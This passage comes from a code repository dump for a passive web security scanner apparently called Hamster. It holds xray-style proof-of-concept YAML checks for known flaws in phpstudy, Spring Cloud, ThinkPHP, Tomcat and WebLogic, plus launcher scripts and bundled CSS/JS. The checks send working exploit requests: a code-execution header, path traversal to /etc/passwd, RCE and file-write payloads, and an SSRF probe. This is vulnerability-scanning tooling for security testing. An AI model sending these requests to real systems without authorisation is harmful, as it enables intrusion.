6 | payload: base64("printf(md5('" + r + "'));")
7 | rules:
8 | r0:
9 | request:
10 | cache: true
11 | method: GET
12 | path: /index.php
13 | headers:
14 | Accept-Charset: '{{payload}}'
15 | Accept-Encoding: gzip,deflate
16 | follow_redirects: false
17 | expression: response.body.bcontains(bytes(md5(r)))
18 | expression: r0()
19 | detail:
20 | author: 17bdw
21 | links:
22 | - https://www.freebuf.com/column/214946.html
23 | Affected Version: phpstudy 2016-phpstudy 2018 php 5.2 php 5.4
24 | vuln_url: php_xmlrpc.dll
25 |
--------------------------------------------------------------------------------
/poc/xray/pocs/spring-cloud-cve-2020-5410.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-spring-cloud-cve-2020-5410
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a
10 | expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
11 | expression: r0()
12 | detail:
13 | author: Soveless(https://github.com/Soveless)
14 | links:
15 | - https://xz.aliyun.com/t/7877
16 | Affected Version: Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9
17 |
--------------------------------------------------------------------------------
/poc/xray/pocs/springcloud-cve-2019-3799.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-springcloud-cve-2019-3799
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd
10 | follow_redirects: true
11 | expression: response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
12 | expression: r0()
13 | detail:
14 | author: Loneyer
15 | links:
16 | - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799
17 | version: <2.1.2, 2.0.4, 1.4.6
18 |
--------------------------------------------------------------------------------
/poc/xray/pocs/thinkphp-v6-file-write.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-thinkphp-v6-file-write
2 | manual: true
3 | transport: http
4 | set:
5 | f1: randomInt(800000000, 900000000)
6 | rules:
7 | r0:
8 | request:
9 | cache: true
10 | method: GET
11 | path: /{{f1}}.php
12 | follow_redirects: true
13 | expression: response.status == 404
14 | r1:
15 | request:
16 | cache: true
17 | method: GET
18 | path: /
19 | headers:
20 | Cookie: PHPSESSID=../../../../public/{{f1}}.php
21 | follow_redirects: true
22 | expression: response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1))
23 | r2:
24 | request:
25 | cache: true
26 | method: GET
27 | path: /{{f1}}.php
28 | follow_redirects: true
29 | expression: response.status == 200 && response.content_type.contains("text/html")
30 | expression: r0() && r1() && r2()
31 | detail:
32 | author: Loneyer
33 | links:
34 | - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write
35 | Affected Version: Thinkphp 6.0.0
36 |
--------------------------------------------------------------------------------
/poc/xray/pocs/thinkphp5-controller-rce.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-thinkphp5-controller-rce
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
10 | expression: response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
11 | expression: r0()
12 | detail:
13 | links:
14 | - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
15 |
--------------------------------------------------------------------------------
/poc/xray/pocs/thinkphp5023-method-rce.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-thinkphp5023-method-rce
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: POST
9 | path: /index.php?s=captcha
10 | headers:
11 | Content-Type: application/x-www-form-urlencoded
12 | body: |
13 | _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1
14 | expression: response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1")
15 | expression: r0()
16 | detail:
17 | links:
18 | - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
19 |
--------------------------------------------------------------------------------
/poc/xray/pocs/tomcat-cve-2018-11759.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-tomcat-cve-2018-11759
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /jkstatus;
10 | follow_redirects: false
11 | expression: response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body)
12 | r1:
13 | request:
14 | cache: true
15 | method: GET
16 | path: /jkstatus;?cmd=dump
17 | follow_redirects: false
18 | expression: response.status == 200 && "ServerRoot=*".bmatches(response.body)
19 | expression: r0() && r1()
20 | detail:
21 | author: loneyer
22 | links:
23 | - https://github.com/immunIT/CVE-2018-11759
24 |
--------------------------------------------------------------------------------
/poc/xray/pocs/weblogic-cve-2019-2618.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-weblogic-cve-2019-2618
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: POST
9 | path: /bea_wls_deployment_internal/DeploymentService
10 | follow_redirects: false
11 | expression: response.status == 401 && (response.body.bcontains(bytes("No user name or password provided")))
12 | expression: r0()
13 | detail:
14 | author: orleven
15 | links:
16 | - https://github.com/jas502n/cve-2019-2618
17 |
--------------------------------------------------------------------------------
/poc/xray/pocs/weblogic-cve-2020-14750.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-weblogic-cve-2020-14750
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /console/images/%252E./console.portal
10 | follow_redirects: false
11 | expression: response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
12 | expression: r0()
13 | detail:
14 | author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
15 | links:
16 | - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
17 | weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
18 |
--------------------------------------------------------------------------------
/poc/xray/pocs/weblogic-ssrf.yml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-weblogic-ssrf
2 | manual: true
3 | transport: http
4 | rules:
5 | r0:
6 | request:
7 | cache: true
8 | method: GET
9 | path: /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
10 | headers:
11 | Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
12 | follow_redirects: false
13 | expression: 'response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))'
14 | expression: r0()
15 | detail: {}
16 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | aio-pika==8.2.4
2 | aiohttp==3.8.1
3 | aiohttp-socks==0.7.1
4 | aiomysql==0.1.0
5 | aioredis==2.0.1
6 | aiormq==6.4.2
7 | aiosignal==1.2.0
8 | asgiref==3.5.0
9 | async-timeout==4.0.2
10 | attribdict==0.0.5
11 | attrs==21.4.0
12 | blinker==1.4
13 | Brotli==1.0.9
14 | certifi==2023.07.22
15 | cffi==1.15.0
16 | charset-normalizer==2.0.12
17 | click==8.1.2
18 | cryptography==36.0.2
19 | Flask==2.0.3
20 | Flask-SQLAlchemy==2.5.1
21 | frozenlist==1.3.0
22 | greenlet==1.1.2
23 | h11==0.13.0
24 | h2==4.1.0
25 | hpack==4.0.0
26 | hyperframe==6.0.1
27 | idna==3.3
28 | itsdangerous==2.1.2
29 | Jinja2==3.1.1
30 | kaitaistruct==0.9
31 | ldap3==2.9.1
32 | MarkupSafe==2.1.1
33 | mitmproxy==8.0.0
34 | msgpack==1.0.3
35 | multidict==6.0.2
36 | pamqp==3.2.1
37 | passlib==1.7.4
38 | protobuf==3.19.5
39 | publicsuffix2==2.20191221
40 | pyasn1==0.4.8
41 | pycparser==2.21
42 | pycryptodomex==3.14.1
43 | PyJWT==2.4.0
44 | PyMySQL==1.0.2
45 | pyOpenSSL==22.0.0
46 | pyparsing==3.0.8
47 | pyperclip==1.8.2
48 | python-socks==2.0.3
49 | PyYAML==6.0
50 | sortedcontainers==2.4.0
51 | SQLAlchemy==1.4.35
52 | tornado==6.1
53 | typing-extensions==4.2.0
54 | urwid==2.1.2
55 | Werkzeug==2.1.1
56 | wsproto==1.1.0
57 | yarl==1.7.2
58 | zstandard==0.17.0
59 |
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from argparse import ArgumentParser
7 | from lib.core.core import start_server
8 |
9 | def arg_set(parser):
10 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str)
11 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port', type=int)
12 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False)
13 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False)
14 | return parser
15 |
16 | if __name__ == '__main__':
17 | parser = ArgumentParser(add_help=False)
18 | parser = arg_set(parser)
19 | args = parser.parse_args()
20 | if args.help:
21 | parser.print_help()
22 | else:
23 | start_server(args)
--------------------------------------------------------------------------------
/show/burpsuite_proxy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/show/burpsuite_proxy.png
--------------------------------------------------------------------------------
/show/web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/show/web.png
--------------------------------------------------------------------------------
/simple.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from argparse import ArgumentParser
7 | from lib.core.core import start_simple
8 |
9 | def arg_set(parser):
10 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str)
11 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port', type=int)
12 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False)
13 | parser.add_argument("-t", "--test", action='store_true', help="Run test ", default=False)
14 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False)
15 | return parser
16 |
17 | if __name__ == '__main__':
18 | parser = ArgumentParser(add_help=False)
19 | parser = arg_set(parser)
20 | args = parser.parse_args()
21 | if args.help:
22 | parser.print_help()
23 | else:
24 | start_simple(args)
25 |
26 |
--------------------------------------------------------------------------------
/static/css/buttons.bootstrap.min.css:
--------------------------------------------------------------------------------
1 | div.dt-button-info{position:fixed;top:50%;left:50%;width:400px;margin-top:-100px;margin-left:-200px;background-color:white;border:2px solid #111;box-shadow:3px 3px 8px rgba(0,0,0,0.3);border-radius:3px;text-align:center;z-index:21}div.dt-button-info h2{padding:0.5em;margin:0;font-weight:normal;border-bottom:1px solid #ddd;background-color:#f3f3f3}div.dt-button-info>div{padding:1em}ul.dt-button-collection.dropdown-menu{display:block;z-index:2002;-webkit-column-gap:8px;-moz-column-gap:8px;-ms-column-gap:8px;-o-column-gap:8px;column-gap:8px}ul.dt-button-collection.dropdown-menu.fixed{position:fixed;top:50%;left:50%;margin-left:-75px;border-radius:0}ul.dt-button-collection.dropdown-menu.fixed.two-column{margin-left:-150px}ul.dt-button-collection.dropdown-menu.fixed.three-column{margin-left:-225px}ul.dt-button-collection.dropdown-menu.fixed.four-column{margin-left:-300px}ul.dt-button-collection.dropdown-menu>*{-webkit-column-break-inside:avoid;break-inside:avoid}ul.dt-button-collection.dropdown-menu.two-column{width:300px;padding-bottom:1px;-webkit-column-count:2;-moz-column-count:2;-ms-column-count:2;-o-column-count:2;column-count:2}ul.dt-button-collection.dropdown-menu.three-column{width:450px;padding-bottom:1px;-webkit-column-count:3;-moz-column-count:3;-ms-column-count:3;-o-column-count:3;column-count:3}ul.dt-button-collection.dropdown-menu.four-column{width:600px;padding-bottom:1px;-webkit-column-count:4;-moz-column-count:4;-ms-column-count:4;-o-column-count:4;column-count:4}div.dt-button-background{position:fixed;top:0;left:0;width:100%;height:100%;z-index:2001}@media screen and (max-width: 767px){div.dt-buttons{float:none;width:100%;text-align:center;margin-bottom:0.5em}div.dt-buttons a.btn{float:none}}
--------------------------------------------------------------------------------
/static/css/cert.css:
--------------------------------------------------------------------------------
1 | .media {
2 | min-height: 110px;
3 | }
4 | .media svg {
5 | width: 64px;
6 | margin-right: 1rem !important;
7 | }
8 |
9 | .instructions {
10 | padding-top: 1rem;
11 | padding-bottom: 1rem;
12 | }
13 |
14 | /* CSS-only collapsible */
15 | .show-instructions:target, .hide-instructions, .instructions {
16 | display: none;
17 | }
18 | .show-instructions:target ~ .hide-instructions {
19 | display: inline-block;
20 | }
21 | .show-instructions:target ~ .instructions {
22 | display: inherit;
23 | }
24 |
25 | .fa-apple {
26 | color: #666;
27 | }
28 |
29 | .fa-windows {
30 | color: #0078D7;
31 | }
32 |
33 | .fa-firefox-browser {
34 | color: #E25821;
35 | }
36 |
37 | .fa-android {
38 | margin-top: 10px;
39 | color: #3DDC84;
40 | }
41 |
42 | .fa-certificate {
43 | color: #FFBB00;
44 | }
--------------------------------------------------------------------------------
/static/css/dataTables.bootstrap.min.css:
--------------------------------------------------------------------------------
1 | table.dataTable{clear:both;margin-top:6px !important;margin-bottom:6px !important;max-width:none !important;border-collapse:separate !important}table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}table.dataTable td.dataTables_empty,table.dataTable th.dataTables_empty{text-align:center}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}div.dataTables_wrapper div.dataTables_length label{font-weight:normal;text-align:left;white-space:nowrap}div.dataTables_wrapper div.dataTables_length select{width:75px;display:inline-block}div.dataTables_wrapper div.dataTables_filter{text-align:right}div.dataTables_wrapper div.dataTables_filter label{font-weight:normal;white-space:nowrap;text-align:left}div.dataTables_wrapper div.dataTables_filter input{margin-left:0.5em;display:inline-block;width:auto}div.dataTables_wrapper div.dataTables_info{padding-top:8px;white-space:nowrap}div.dataTables_wrapper div.dataTables_paginate{margin:0;white-space:nowrap;text-align:right}div.dataTables_wrapper div.dataTables_paginate ul.pagination{margin:2px 0;white-space:nowrap}div.dataTables_wrapper div.dataTables_processing{position:absolute;top:50%;left:50%;width:200px;margin-left:-100px;margin-top:-26px;text-align:center;padding:1em 0}table.dataTable thead>tr>th.sorting_asc,table.dataTable thead>tr>th.sorting_desc,table.dataTable thead>tr>th.sorting,table.dataTable thead>tr>td.sorting_asc,table.dataTable thead>tr>td.sorting_desc,table.dataTable thead>tr>td.sorting{padding-right:30px}table.dataTable thead>tr>th:active,table.dataTable thead>tr>td:active{outline:none}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{cursor:pointer;position:relative}table.dataTable thead .sorting:after,table.dataTable thead .sorting_asc:after,table.dataTable thead .sorting_desc:after,table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{position:absolute;bottom:8px;right:8px;display:block;font-family:'Glyphicons Halflings';opacity:0.5}table.dataTable thead .sorting:after{opacity:0.2;content:"\e150"}table.dataTable thead .sorting_asc:after{content:"\e155"}table.dataTable thead .sorting_desc:after{content:"\e156"}table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{color:#eee}div.dataTables_scrollHead table.dataTable{margin-bottom:0 !important}div.dataTables_scrollBody table{border-top:none;margin-top:0 !important;margin-bottom:0 !important}div.dataTables_scrollBody table thead .sorting:after,div.dataTables_scrollBody table thead .sorting_asc:after,div.dataTables_scrollBody table thead .sorting_desc:after{display:none}div.dataTables_scrollBody table tbody tr:first-child th,div.dataTables_scrollBody table tbody tr:first-child td{border-top:none}div.dataTables_scrollFoot table{margin-top:0 !important;border-top:none}@media screen and (max-width: 767px){div.dataTables_wrapper div.dataTables_length,div.dataTables_wrapper div.dataTables_filter,div.dataTables_wrapper div.dataTables_info,div.dataTables_wrapper div.dataTables_paginate{text-align:center}}table.dataTable.table-condensed>thead>tr>th{padding-right:20px}table.dataTable.table-condensed .sorting:after,table.dataTable.table-condensed .sorting_asc:after,table.dataTable.table-condensed .sorting_desc:after{top:6px;right:6px}table.table-bordered.dataTable th,table.table-bordered.dataTable td{border-left-width:0}table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable td:last-child,table.table-bordered.dataTable td:last-child{border-right-width:0}table.table-bordered.dataTable tbody th,table.table-bordered.dataTable tbody td{border-bottom-width:0}div.dataTables_scrollHead table.table-bordered{border-bottom-width:0}div.table-responsive>div.dataTables_wrapper>div.row{margin:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:first-child{padding-left:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:last-child{padding-right:0}
--------------------------------------------------------------------------------
/static/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/static/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/static/fonts/fontawesome-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/fonts/fontawesome-webfont.woff2
--------------------------------------------------------------------------------
/static/fonts/responsive.bootstrap.min.css:
--------------------------------------------------------------------------------
1 | table.dataTable.dtr-inline.collapsed>tbody>tr>td.child,table.dataTable.dtr-inline.collapsed>tbody>tr>th.child,table.dataTable.dtr-inline.collapsed>tbody>tr>td.dataTables_empty{cursor:default !important}table.dataTable.dtr-inline.collapsed>tbody>tr>td.child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>th.child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>td.dataTables_empty:before{display:none !important}table.dataTable.dtr-inline.collapsed>tbody>tr>td:first-child,table.dataTable.dtr-inline.collapsed>tbody>tr>th:first-child{position:relative;padding-left:30px;cursor:pointer}table.dataTable.dtr-inline.collapsed>tbody>tr>td:first-child:before,table.dataTable.dtr-inline.collapsed>tbody>tr>th:first-child:before{top:9px;left:4px;height:14px;width:14px;display:block;position:absolute;color:white;border:2px solid white;border-radius:14px;box-shadow:0 0 3px #444;box-sizing:content-box;text-align:center;font-family:'Courier New', Courier, monospace;line-height:14px;content:'+';background-color:#337ab7}table.dataTable.dtr-inline.collapsed>tbody>tr.parent>td:first-child:before,table.dataTable.dtr-inline.collapsed>tbody>tr.parent>th:first-child:before{content:'-';background-color:#d33333}table.dataTable.dtr-inline.collapsed>tbody>tr.child td:before{display:none}table.dataTable.dtr-inline.collapsed.compact>tbody>tr>td:first-child,table.dataTable.dtr-inline.collapsed.compact>tbody>tr>th:first-child{padding-left:27px}table.dataTable.dtr-inline.collapsed.compact>tbody>tr>td:first-child:before,table.dataTable.dtr-inline.collapsed.compact>tbody>tr>th:first-child:before{top:5px;left:4px;height:14px;width:14px;border-radius:14px;line-height:14px;text-indent:3px}table.dataTable.dtr-column>tbody>tr>td.control,table.dataTable.dtr-column>tbody>tr>th.control{position:relative;cursor:pointer}table.dataTable.dtr-column>tbody>tr>td.control:before,table.dataTable.dtr-column>tbody>tr>th.control:before{top:50%;left:50%;height:16px;width:16px;margin-top:-10px;margin-left:-10px;display:block;position:absolute;color:white;border:2px solid white;border-radius:14px;box-shadow:0 0 3px #444;box-sizing:content-box;text-align:center;font-family:'Courier New', Courier, monospace;line-height:14px;content:'+';background-color:#337ab7}table.dataTable.dtr-column>tbody>tr.parent td.control:before,table.dataTable.dtr-column>tbody>tr.parent th.control:before{content:'-';background-color:#d33333}table.dataTable>tbody>tr.child{padding:0.5em 1em}table.dataTable>tbody>tr.child:hover{background:transparent !important}table.dataTable>tbody>tr.child ul{display:inline-block;list-style-type:none;margin:0;padding:0}table.dataTable>tbody>tr.child ul li{border-bottom:1px solid #efefef;padding:0.5em 0}table.dataTable>tbody>tr.child ul li:first-child{padding-top:0}table.dataTable>tbody>tr.child ul li:last-child{border-bottom:none}table.dataTable>tbody>tr.child span.dtr-title{display:inline-block;min-width:75px;font-weight:bold}div.dtr-modal{position:fixed;box-sizing:border-box;top:0;left:0;height:100%;width:100%;z-index:100;padding:10em 1em}div.dtr-modal div.dtr-modal-display{position:absolute;top:0;left:0;bottom:0;right:0;width:50%;height:50%;overflow:auto;margin:auto;z-index:102;overflow:auto;background-color:#f5f5f7;border:1px solid black;border-radius:0.5em;box-shadow:0 12px 30px rgba(0,0,0,0.6)}div.dtr-modal div.dtr-modal-content{position:relative;padding:1em}div.dtr-modal div.dtr-modal-close{position:absolute;top:6px;right:6px;width:22px;height:22px;border:1px solid #eaeaea;background-color:#f9f9f9;text-align:center;border-radius:3px;cursor:pointer;z-index:12}div.dtr-modal div.dtr-modal-close:hover{background-color:#eaeaea}div.dtr-modal div.dtr-modal-background{position:fixed;top:0;left:0;right:0;bottom:0;z-index:101;background:rgba(0,0,0,0.6)}@media screen and (max-width: 767px){div.dtr-modal div.dtr-modal-display{width:95%}}div.dtr-bs-modal table.table tr:first-child td{border-top:none}
--------------------------------------------------------------------------------
/static/img/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/favicon.ico
--------------------------------------------------------------------------------
/static/img/img.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/img.jpg
--------------------------------------------------------------------------------
/static/img/sort_asc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/sort_asc.png
--------------------------------------------------------------------------------
/static/img/sort_both.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/static/img/sort_both.png
--------------------------------------------------------------------------------
/static/js/buttons.bootstrap.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 | Bootstrap integration for DataTables' Buttons
3 | ©2016 SpryMedia Ltd - datatables.net/license
4 | */
5 | (function(c){"function"===typeof define&&define.amd?define(["jquery","datatables.net-bs","datatables.net-buttons"],function(a){return c(a,window,document)}):"object"===typeof exports?module.exports=function(a,b){a||(a=window);if(!b||!b.fn.dataTable)b=require("datatables.net-bs")(a,b).$;b.fn.dataTable.Buttons||require("datatables.net-buttons")(a,b);return c(b,a,a.document)}:c(jQuery,window,document)})(function(c){var a=c.fn.dataTable;c.extend(!0,a.Buttons.defaults,{dom:{container:{className:"dt-buttons btn-group"},
6 | button:{className:"btn btn-default"},collection:{tag:"ul",className:"dt-button-collection dropdown-menu",button:{tag:"li",className:"dt-button"},buttonLiner:{tag:"a",className:""}}}});a.ext.buttons.collection.text=function(a){return a.i18n("buttons.collection",'Collection ')};return a.Buttons});
--------------------------------------------------------------------------------
/static/js/custom.min.js:
--------------------------------------------------------------------------------
1 | !function (a) {
2 | jQuery.fn[a] = function (e) {
3 | return e ? this.bind('resize', (t = e, function () {
4 | var e = this,
5 | a = arguments;
6 | i ? clearTimeout(i) : n && t.apply(e, a),
7 | i = setTimeout(function () {
8 | n || t.apply(e, a),
9 | i = null
10 | }, o || 100)
11 | })) : this.trigger(a);
12 | var t,
13 | o,
14 | n,
15 | i
16 | }
17 | }((jQuery, 'smartresize'));
18 | function init_sidebar() {
19 | var CURRENT_URL = window.location.href.split('#') [0].split('?') [0];
20 |
21 | function t() {
22 | $('.right_col').css('min-height', $(window).height());
23 | var e = $('body').outerHeight(),
24 | a = $('body').hasClass('footer_fixed') ? -10 : $('footer').height(),
25 | t = $('.left_col').eq(1).height() + $('.sidebar-footer').height(),
26 | o = e < t ? t : e;
27 | o -= $('.nav_menu').height() + a,
28 | $('.right_col').css('min-height', o)
29 | }
30 |
31 | function o() {
32 | $('#sidebar-menu').find('li').removeClass('active active-sm'),
33 | $('#sidebar-menu').find('li ul').slideUp()
34 | }
35 |
36 | $('#sidebar-menu').find('a').on('click', function (e) {
37 | var a = $(this).parent();
38 | a.is('.active') ? (a.removeClass('active active-sm'), $('ul:first', a).slideUp(function () {
39 | t()
40 | })) : (a.parent().is('.child_menu') ? $('body').is('nav-sm') && (a.parent().is('child_menu') || o()) : o(), a.addClass('active'), $('ul:first', a).slideDown(function () {
41 | t()
42 | }))
43 | }),
44 | $('#menu_toggle').on('click', function () {
45 | $('body').hasClass('nav-md') ? ($('#sidebar-menu').find('li.active ul').hide(), $('#sidebar-menu').find('li.active').addClass('active-sm').removeClass('active')) : ($('#sidebar-menu').find('li.active-sm ul').show(), $('#sidebar-menu').find('li.active-sm').addClass('active').removeClass('active-sm')),
46 | $('body').toggleClass('nav-md nav-sm'),
47 | t(),
48 | $('.dataTable').each(function () {
49 | $(this).dataTable().fnDraw()
50 | })
51 | }),
52 | $('#sidebar-menu').find('a[href="' + CURRENT_URL + '"]').parent('li').addClass('current-page'),
53 | $('#sidebar-menu').find('a').filter(function () {
54 | return this.href == CURRENT_URL
55 | }).parent('li').addClass('current-page').parents('ul').slideDown(function () {
56 | t()
57 | }).parent().addClass('active'),
58 | $(window).smartresize(function () {
59 | t()
60 | }),
61 | t(),
62 | $.fn.mCustomScrollbar && $('.menu_fixed').mCustomScrollbar({
63 | autoHideScrollbar: !0,
64 | theme: 'minimal',
65 | mouseWheel: {
66 | preventDefault: !0
67 | }
68 | })
69 | };
70 | $.fn.dataTable.render.ellipsis = function (cutoff, wordbreak, escapeHtml) {
71 | var esc = function (t) {
72 | return t
73 | .replace(/&/g, '&')
74 | .replace(//g, '>')
76 | .replace(/"/g, '"');
77 | };
78 | return function (d, type, row) {
79 | // Order, search and type get the original data
80 | if (type !== 'display') {
81 | return d;
82 | }
83 | if (typeof d !== 'number' && typeof d !== 'string') {
84 | return d;
85 | }
86 | d = d.toString(); // cast numbers
87 | if (d.length <= cutoff) {
88 | return d;
89 | }
90 | var shortened = d.substr(0, cutoff - 1);
91 | // Find the last white space character in the string
92 | if (wordbreak) {
93 | shortened = shortened.replace(/\s([^\s]*)$/, '');
94 | }
95 | // Protect against uncontrolled HTML input
96 | if (escapeHtml) {
97 | shortened = esc(shortened);
98 | }
99 | return '' + shortened + '…';
100 | };
101 | };
102 | $(document).ready(function () {
103 | init_sidebar()
104 | });
--------------------------------------------------------------------------------
/static/js/dataTables.bootstrap.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 | DataTables Bootstrap 3 integration
3 | ©2011-2015 SpryMedia Ltd - datatables.net/license
4 | */
5 | (function(b){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(a){return b(a,window,document)}):"object"===typeof exports?module.exports=function(a,d){a||(a=window);if(!d||!d.fn.dataTable)d=require("datatables.net")(a,d).$;return b(d,a,a.document)}:b(jQuery,window,document)})(function(b,a,d){var f=b.fn.dataTable;b.extend(!0,f.defaults,{dom:"<'row'<'col-sm-6'l><'col-sm-6'f>><'row'<'col-sm-12'tr>><'row'<'col-sm-5'i><'col-sm-7'p>>",renderer:"bootstrap"});b.extend(f.ext.classes,
6 | {sWrapper:"dataTables_wrapper container-fluid dt-bootstrap",sFilterInput:"form-control input-sm",sLengthSelect:"form-control input-sm",sProcessing:"dataTables_processing panel panel-default"});f.ext.renderer.pageButton.bootstrap=function(a,h,r,m,j,n){var o=new f.Api(a),s=a.oClasses,k=a.oLanguage.oPaginate,t=a.oLanguage.oAria.paginate||{},e,g,p=0,q=function(d,f){var l,h,i,c,m=function(a){a.preventDefault();!b(a.currentTarget).hasClass("disabled")&&o.page()!=a.data.action&&o.page(a.data.action).draw("page")};
7 | l=0;for(h=f.length;l",{"class":s.sPageButton+" "+g,id:0===r&&"string"===typeof c?a.sTableId+"_"+c:null}).append(b("",{href:"#",
8 | "aria-controls":a.sTableId,"aria-label":t[c],"data-dt-idx":p,tabindex:a.iTabIndex}).html(e)).appendTo(d),a.oApi._fnBindAction(i,{action:c},m),p++)}},i;try{i=b(h).find(d.activeElement).data("dt-idx")}catch(u){}q(b(h).empty().html('').children("ul"),m);i&&b(h).find("[data-dt-idx="+i+"]").focus()};return f});
--------------------------------------------------------------------------------
/support.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from lib.core.env import *
6 | from argparse import ArgumentParser
7 | from lib.core.core import start_support
8 |
9 | def arg_set(parser):
